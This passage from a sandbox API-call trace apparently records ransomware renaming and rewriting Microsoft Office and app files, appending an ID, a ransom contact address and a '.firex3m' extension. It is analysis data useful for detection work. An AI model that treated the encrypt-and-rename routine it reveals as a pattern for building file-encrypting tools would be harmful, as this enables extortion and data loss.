() returned 0x630000 [0244.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0245.718] GetProcessHeap () returned 0x630000 [0245.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0245.718] GetProcessHeap () returned 0x630000 [0245.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b5e0 | out: hHeap=0x630000) returned 1 [0245.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.720] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\AccessCompare.rdlc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x577a01df, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2129a, dwReserved0=0xc1c7496, dwReserved1=0x71d5488, cFileName="AccessCompare.rdlc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACCESS~2.FIR")) returned 0x6d52c0 [0245.720] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0245.720] Sleep (dwMilliseconds=0x1) [0249.020] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", len=0x6c | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned 1 [0249.020] GetProcessHeap () returned 0x630000 [0249.020] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e14) returned 0x6fe3bb0 [0249.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0249.126] CloseHandle (hObject=0x430) returned 1 [0249.127] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.127] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\esen\\msb1esen.its"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\esen\\msb1esen.its.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.149] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="MSB1ESEN.ITS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSB1ES~1.FIR")) returned 0x6d4f80 [0249.149] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0249.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\esen\\msb1esen.its.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0249.152] GetProcessHeap () returned 0x630000 [0249.152] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x75149a0 [0249.153] GetProcessHeap () returned 0x630000 [0249.153] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x751fdd0 [0249.154] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.154] ReadFile (in: hFile=0x410, lpBuffer=0x75149a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x75149a0*, lpNumberOfBytesRead=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0254.769] GetProcessHeap () returned 0x630000 [0254.769] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0254.769] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.769] WriteFile (in: hFile=0x410, lpBuffer=0x751fdd0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x751fdd0*, lpNumberOfBytesWritten=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0254.770] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.770] WriteFile (in: hFile=0x410, lpBuffer=0x752b1cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x752b1cf*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.937] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.937] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.938] CloseHandle (hObject=0x410) returned 1 [0254.938] GetProcessHeap () returned 0x630000 [0254.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x751fdd0 | out: hHeap=0x630000) returned 1 [0254.938] GetProcessHeap () returned 0x630000 [0254.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x75149a0 | out: hHeap=0x630000) returned 1 [0254.940] GetProcessHeap () returned 0x630000 [0254.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0254.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.940] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5de73846, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xff816, dwReserved0=0xc1c7496, dwReserved1=0x7514998, cFileName="MSB1ESEN.ITS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSB1ES~1.FIR")) returned 0x6d4f00 [0254.940] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0254.940] Sleep (dwMilliseconds=0x1) [0254.947] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.INF", len=0x6a | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.INF") returned 1 [0254.947] GetProcessHeap () returned 0x630000 [0254.947] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d60) returned 0x6fe3bb0 [0254.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\pixel.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0254.956] CloseHandle (hObject=0x4e0) returned 1 [0254.958] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.958] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\pixel.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\pixel.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.139] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="PIXEL.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PIXELI~1.FIR")) returned 0x6d4f00 [0255.139] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0255.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\pixel.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0255.139] GetProcessHeap () returned 0x630000 [0255.139] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706b670 [0255.139] GetProcessHeap () returned 0x630000 [0255.139] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x706c668 [0255.139] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.139] ReadFile (in: hFile=0x4e0, lpBuffer=0x706b670, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706b670*, lpNumberOfBytesRead=0x333ff0c*=0x200, lpOverlapped=0x0) returned 1 [0255.143] GetProcessHeap () returned 0x630000 [0255.143] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0255.143] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.143] WriteFile (in: hFile=0x4e0, lpBuffer=0x706c668*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706c668*, lpNumberOfBytesWritten=0x333ff0c*=0x200, lpOverlapped=0x0) returned 1 [0255.143] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.143] WriteFile (in: hFile=0x4e0, lpBuffer=0x706c867*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706c867*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.143] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.143] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.143] CloseHandle (hObject=0x4e0) returned 1 [0255.143] GetProcessHeap () returned 0x630000 [0255.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706c668 | out: hHeap=0x630000) returned 1 [0255.143] GetProcessHeap () returned 0x630000 [0255.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706b670 | out: hHeap=0x630000) returned 1 [0255.143] GetProcessHeap () returned 0x630000 [0255.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0255.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PIXEL.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e063695, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x333fd20, dwReserved1=0x706b670, cFileName="PIXEL.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PIXELI~1.FIR")) returned 0x6d51c0 [0255.144] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0255.144] Sleep (dwMilliseconds=0x1) [0255.149] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\THMBNAIL.PNG", len=0x6f | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\THMBNAIL.PNG") returned 1 [0255.149] GetProcessHeap () returned 0x630000 [0255.149] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d48) returned 0x6fe3bb0 [0255.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0255.150] CloseHandle (hObject=0x684) returned 1 [0255.150] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0255.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d51c0 [0255.152] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0255.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0255.153] GetProcessHeap () returned 0x630000 [0255.153] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d41) returned 0x707d3c0 [0255.153] GetProcessHeap () returned 0x630000 [0255.153] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d41) returned 0x7423e38 [0255.154] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.154] ReadFile (in: hFile=0x684, lpBuffer=0x707d3c0, nNumberOfBytesToRead=0x2d20, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x707d3c0*, lpNumberOfBytesRead=0x333ff0c*=0x2d20, lpOverlapped=0x0) returned 1 [0255.446] GetProcessHeap () returned 0x630000 [0255.446] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0255.446] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.446] WriteFile (in: hFile=0x684, lpBuffer=0x7423e38*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7423e38*, lpNumberOfBytesWritten=0x333ff0c*=0x2d20, lpOverlapped=0x0) returned 1 [0256.573] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.574] WriteFile (in: hFile=0x684, lpBuffer=0x7426b57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7426b57*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0256.574] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.574] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0256.574] CloseHandle (hObject=0x684) returned 1 [0256.575] GetProcessHeap () returned 0x630000 [0256.575] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7423e38 | out: hHeap=0x630000) returned 1 [0256.575] GetProcessHeap () returned 0x630000 [0256.575] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707d3c0 | out: hHeap=0x630000) returned 1 [0256.575] GetProcessHeap () returned 0x630000 [0256.575] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0256.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0256.575] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5ee191ab, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d59, dwReserved0=0xc1c7496, dwReserved1=0x707d3b8, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5480 [0256.576] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0256.576] Sleep (dwMilliseconds=0x1) [0258.123] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W7.png", len=0x6f | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W7.png") returned 1 [0258.123] GetProcessHeap () returned 0x630000 [0258.125] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d60) returned 0x6fe3bb0 [0258.125] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W7.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\w7.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.127] Sleep (dwMilliseconds=0x1) [0258.134] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W6.png", len=0x6f | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W6.png") returned 1 [0258.134] GetProcessHeap () returned 0x630000 [0258.134] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d5c) returned 0x6fe3bb0 [0258.134] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W6.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\w6.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.136] Sleep (dwMilliseconds=0x1) [0258.151] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W3.png", len=0x6f | out: pbstr=0x333ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W3.png") returned 1 [0258.151] GetProcessHeap () returned 0x630000 [0258.151] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d50) returned 